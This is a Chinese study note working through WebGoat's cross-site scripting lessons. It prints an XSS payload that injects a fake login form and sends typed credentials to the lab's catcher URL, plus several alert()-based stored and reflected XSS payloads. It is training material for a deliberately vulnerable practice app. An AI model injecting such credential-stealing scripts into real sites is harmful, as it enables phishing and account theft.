当前位置:文档之家› WebGoat笔记九_跨站脚本攻击(Cross-Site Scripting (XSS))

WebGoat笔记九_跨站脚本攻击(Cross-Site Scripting (XSS))

WebGoat学习笔记九—跨站脚本攻击(Cross-Site Scripting (XSS))瞿靖东2015/11/10版本号:WebGoat 5.41、使用XSS钓鱼(Phishing with XSS)技术概念或主题(Concept / T opic T o T each)在服务端对所有输入进行验证总是不错的做法。

当用户输入非法HTTP响应时容易造成XSS。

在XSS的帮助下,你可以实现钓鱼工具或向某些官方页面中增加内容。

对于受害者来说很难发现该内容是否存在威胁。

技术原理(How It works )HTML文档内容很容易篡改的,如果你有权限操作页面源代码。

总体目标(General Goals )创建一个form,要求填写用户名和密码。

将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catched PasswordNam操作方法(Solutions)利用XSS可以在已存在的页面中进一步添加元素。

该解决方案包括两部分,你需要结合起来使用:受害人填写一个表格;以读取脚本的形式,将收集到的信息发送给攻击者。

一个带用户名和密码输入框的表格如下:<form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name="pass"><br></form><br><br><HR>搜索这段代码,你就能看到页面中增加了一个表单。

现在你需要一段脚本:<script>function hack(){alert("Had this been a real attack... Your credentials were just stolen." User Name=”+er.val ue+"Password=”+document.form.pass.value); XSSlmage=newImage (); XSSlmage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+er.value+"&password="+document.form.pass.value+””;}</script>这段代码会读取你在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat.最后,就是要将这两段代码合并。

最终需要输入的代码如下:<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[1].user.value + "Password = " + document.forms[1].pass.value); XSSImage=new Image(); XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].u ser.value + "&password=" + document.forms[1].pass.value + "";} </script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="button" name="login" value="login" onclick="hack()"></form><br><br><HR>需要注意,最终的代码必须进行js压缩(取消缩进)才能生效。

搜索这段代码,你会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你。

2、跨站脚本攻击(LAB: Cross Site Scripting)技术概念或主题(Concept / T opic T o T each)输入验证是一个很好的方法,尤其是验证那些以后将用做参数的操作系统命令、脚本和数据库查询的输入。

尤为重要的是,这些内容将会永久的存放在那里。

应当禁止用户创建消息内容。

用户的信息被检索时,可能导致其他用户加载一个不良的网页或不良的内容。

当一个未经验证的用户的输入作为一个HTTP响应时,XSS攻击也可能会发生。

在一个反射式XSS攻击中,攻击者会利用攻击脚本精心制作一个URL并通过将其发送到其他网站、电子邮件、或其他方式骗取受害者点击它。

总体目标(General Goals )在这个练习中,你将执行存储和反射XSS攻击,你还可以通过在web应用程序中调整代码来防护这种攻击。

Stage 1:存储型XSS ( Stage 1: Stored XSS )执行存储型跨站脚本攻击;以“Tom”身份登录网站,修改个人信息。

验证用户“Jerry”会受到攻击。

每个帐号的密码是用户明名字的小写(如:Tom的密码是tom).操作方法(Solutions)1.以用户名“Tom”密码tom登录,选择Tom,点击“View Profile”按钮。

现在可以看到Tom的个人信息。

点击“Edit Profile",在“Street”一栏中进行XSS攻击。

加入如下代码,点击“UpdateProfile":<script>alert("haha");</script>2.退出登录,以用户名Jerry,密码ferry登录,选择浏览Tom的信息,会弹出这段注入脚本。

Stage 2:使用输入验证阻止存储型XSS攻击(Stage 2: Block Stored XSS using Input Validation)由于本节课程只能在WebGoat开发版本上完成,所以跳过。

Stage 3:存储型XSS重访问(Stage 3: Stored XSS Revisited)由于本节课程只能在WebGoat开发版本上完成,所以跳过。

Stage 4:使用输出编码阻止存储型XSS ( Stage 4: Block Stored XSS using Output Encoding)由于本节课程只能在WebGoat开发版本上完成,所以跳过。

Stage 5:反射型XSS(Stage 5: Reflected XSS)使用雇员搜索页面漏洞构造一个包含反射型XSS攻击代码的URL。

验证另一位雇员访问该URL会受影响。

操作方法(Solutions)以用户名Larry,密码larry登录。

点击“SearchStaff",在搜索框中,添加如下一段代码即可完成:<script>alert("Dangerous");</script>此时当其他雇员使用SearchStaff服务时会提示错误Stage 6:阻止反射型XSS C Stage 6: Block Reflected XSS )由于本节课程只能在WebGoat开发版本上完成,所以跳过。

3、存储型XSS攻击(Stored XSS Attacks)技术概念或主题(Concept / T opic T o T each)过滤所有用户输入是一个不错的做法,特别是那些后期会被用作OS、脚本或数据库查询参数的输入。

尤其是那些将要长期存储的内容。

用户不能创建非法的消息内容,例如:可以导致其他用户访问时载入非预期的页面或内容总体目标(General Goals )创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。

在title中任意输入字符。

在内容中输入以下代码:<script>alert('xss')</script>或者<script language="javascript" type="text/javascript">alert("Ha Ha Ha");</script>点击提交,如图所示点击“123 ",这就好比您刚创建的帖子,由您或者其他人浏览,然后会弹出一个对话框,证明XSS攻击成功。

4、反射型XSS攻击(Reflected XSS Attacks)技术原理(How it works )如果server端未做输入参数的过滤或者过滤不完整导致用户的输入数据可能返回到前端页面,Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。

网站输入用户信息后,服务器校验输入有误,返回错误页面并“友好”的将错误内容展示给用户看,例如:用户将带有攻击性的URL做为输入源,例如:<img src=""/>,服务端会跳转到对应的错误页,如下:这样里的恶意js会被执行。

相关主题